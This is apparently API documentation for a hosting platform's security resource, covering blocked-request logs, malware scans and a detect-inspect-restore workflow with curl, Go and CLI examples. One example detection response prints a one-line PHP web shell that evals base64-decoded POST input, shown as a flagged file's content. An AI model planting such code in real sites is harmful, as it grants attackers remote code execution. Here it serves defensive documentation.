Security
Preview The security resource exposes the two halves of the platform’s security pipeline as API: blocks — every request a control rejected — and malware — scans and detections from the ClamAV engine. Together they let you drive the full detect → quarantine → verify → restore loop from code, with an audit trail, the way a security MSSP would.
For what the pipeline is and how each layer works, see Security → Blocks and malware scanning. This page covers reading and acting on that data over the API.
Authorization
Section titled “Authorization”| Action | Scope |
|---|---|
| Read blocks, scans, detections | security:read |
| Trigger a scan, restore or dismiss a detection | security:write |
write implies read. Block and malware detail is sensitive — attacker IPs, matched
rules, infected file paths — so the underlying RBAC floor is site_manager and
above. A key minted by an observer can hold security:read in name but the
down-scoping rule intersects it against the principal’s role, so
an observer-owned key still can’t see block detail. See
teams & roles.
Blocks
Section titled “Blocks”Blocked requests are recorded as security events on their own path — they’re deliberately kept out of the observability requests ledger so attack traffic doesn’t drown out real visitors.
| Method + path | Scope | Returns |
|---|---|---|
GET …/{envID}/security/blocks |
security:read |
recent blocked requests, attributed to the control that stopped them |
GET …/{envID}/security/blocks/volume |
security:read |
block counts over time, broken down by blocker |
Each block row carries the blocker (waf, rate_limit, patchstack,
login_lockout, ip_reputation), the source IP, the matched rule or CVE signature,
and the request path. Both endpoints are
cursor-paginated and accept from / to window
parameters.
Malware
Section titled “Malware”Malware scanning is site-scoped (it walks the site’s files), not env-scoped.
| Method + path | Scope | Returns / does |
|---|---|---|
GET /v1/sites/{siteID}/malware |
security:read |
current malware overview — clean/infected, last scan, open detections |
GET /v1/sites/{siteID}/malware/scans |
security:read |
scan history |
POST /v1/sites/{siteID}/malware/scan |
security:write |
start an on-demand scan → 202 + a job |
GET …/malware/detections/{id}/content |
security:read |
the flagged file’s content for review |
POST …/malware/detections/{id}/restore |
security:write |
restore the file from a clean snapshot |
POST …/malware/detections/{id}/dismiss |
security:write |
mark a detection as a false positive |
The closed-loop remediation flow
Section titled “The closed-loop remediation flow”The endpoints compose into one loop you can run entirely from an integration — this is what closes the gap a bare “site hacked” alert only opens:
- Detect. A
security.site_hackedormalware.detectedwebhook arrives, or a scheduled scan surfaces a detection. Read the overview withGET …/malware. - Inspect. Pull the flagged file with
GET …/malware/detections/{id}/contentand correlate the entry vector againstGET …/{envID}/security/blocks— often the same IP that injected it was already logged. - Remediate. Either
…/detections/{id}/restoreto swap the file back from a clean snapshot, or…/detections/{id}/dismissif it’s a false positive. - Verify. Kick
POST …/malware/scanand wait on the job until it reports clean. - Audit. Every write lands in the audit log, so the whole remediation is reviewable after the fact.
Worked example — trigger a scan
Section titled “Worked example — trigger a scan”POST to start an on-demand scan. Pass an
Idempotency-Key so a retry never queues a second scan.
curl -X POST https://api.managed.dev/v1/sites/site_01J7Q2/malware/scan \ -H "Authorization: Bearer mfk_live_9aF2…" \ -H "Forge-Version: 2026-06-23" \ -H "Idempotency-Key: scan-2026-06-24-checkout" \ -H "Content-Type: application/json"req, _ := http.NewRequest("POST", "https://api.managed.dev/v1/sites/site_01J7Q2/malware/scan", nil)req.Header.Set("Authorization", "Bearer mfk_live_9aF2…")req.Header.Set("Forge-Version", "2026-06-23")req.Header.Set("Idempotency-Key", "scan-2026-06-24-checkout")
resp, err := http.DefaultClient.Do(req) // 202 Acceptedmf security scan --site site_01J7Q2{ "data": { "id": "job_01J9SC", "type": "malware.scan", "status": "queued", "created_at": "2026-06-24T01:02:00.110Z", "resource": { "type": "site", "id": "site_01J7Q2" }, "links": { "self": "/v1/jobs/job_01J9SC", "stream": "/v1/jobs/job_01J9SC/stream" } }, "request_id": "req_01JAB2"}Worked example — review and restore a detection
Section titled “Worked example — review and restore a detection”When a scan reports a detection, read the file, then restore it from a clean snapshot.
# read the flagged filecurl https://api.managed.dev/v1/sites/site_01J7Q2/malware/detections/det_01JK4/content \ -H "Authorization: Bearer mfk_live_9aF2…" \ -H "Forge-Version: 2026-06-23"
# restore it from a clean snapshotcurl -X POST https://api.managed.dev/v1/sites/site_01J7Q2/malware/detections/det_01JK4/restore \ -H "Authorization: Bearer mfk_live_9aF2…" \ -H "Forge-Version: 2026-06-23" \ -H "Idempotency-Key: restore-det_01JK4"mf security detection show det_01JK4 --site site_01J7Q2mf security detection restore det_01JK4 --site site_01J7Q2{ "data": { "id": "det_01JK4", "path": "wp-content/uploads/2026/06/eval.php", "signature": "PHP.Backdoor.Generic-9831", "first_seen": "2026-06-24T00:58:11Z", "status": "open", "content": "<?php @eval(base64_decode($_POST['x'])); ?>" }, "request_id": "req_01JAB7"}